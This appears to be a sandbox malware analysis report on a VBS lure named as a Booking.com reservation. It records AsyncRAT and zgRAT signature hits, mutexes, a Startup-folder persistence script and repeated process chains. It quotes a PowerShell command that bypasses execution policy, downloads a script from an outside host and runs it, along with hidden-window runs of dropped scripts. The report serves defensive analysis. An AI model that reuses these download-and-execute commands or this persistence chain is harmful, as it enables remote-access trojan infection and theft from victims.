Source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'

Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: MinimizedPublic\1tron.vbsrt Menu\Programs\Startup\Desktop.ini.vbp

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@65/141@188/54

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4820:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2408:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lzwg0ij.hmi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Reservation Detail Booking.com ID4336.vbs

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4008 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4008 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
